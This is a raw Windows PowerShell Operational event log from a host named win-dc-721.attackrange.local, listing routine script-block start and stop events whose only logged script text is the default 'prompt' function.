06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478047
Keywords=None
Message=Completed invocation of ScriptBlock ID: f4dc6e14-40bc-4521-bf15-94d0ec377f1b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478046
Keywords=None
Message=Completed invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478045
Keywords=None
Message=Started invocation of ScriptBlock ID: 96c9fa28-5752-4028-87a6-893baac490be
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478044
Keywords=None
Message=Started invocation of ScriptBlock ID: f4dc6e14-40bc-4521-bf15-94d0ec377f1b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478043
Keywords=None
Message=Creating Scriptblock text (1 of 1):
prompt
ScriptBlock ID: f4dc6e14-40bc-4521-bf15-94d0ec377f1b
Path:
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478042
Keywords=None
Message=Completed invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478041
Keywords=None
Message=Started invocation of ScriptBlock ID: ca06aa1b-177a-4689-9498-1195c0905ec9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478040
Keywords=None
Message=Completed invocation of ScriptBlock ID: 582fc7cf-f6b7-4da1-9e23-cc924416f8ba
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9977b850-34e8-42e4-a697-d3c6bfbce619
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478038
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478037
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478036
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478034
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478030
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478029
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478028
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478027
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478026
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478025
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478024
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478023
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478022
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478020
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478018
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478016
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478015
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478014
Keywords=None
Message=Started invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478013
Keywords=None
Message=Started invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478012
Keywords=None
Message=Completed invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478011
Keywords=None
Message=Started invocation of ScriptBlock ID: b5c66ef7-f75f-4763-a002-15bb79633869
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478010
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478009
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478007
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478005
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478004
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478002
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478001
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478000
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477999
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477998
Keywords=None
Message=Completed invocation of ScriptBlock ID: d0701c1a-1fc1-42c2-8856-836216e43540
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477997
Keywords=None
Message=Completed invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477996
Keywords=None
Message=Started invocation of ScriptBlock ID: c8254d99-237d-4863-87bb-0028356dd4a5
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1477994
Keywords=None
Message=Started invocation of ScriptBlock ID: 38dbedb2-6aa1-4f65-9bbe-36c2e31a322c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1477993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 09b14349-c1b3-400b-82ec-b469daf1f080
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:05:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
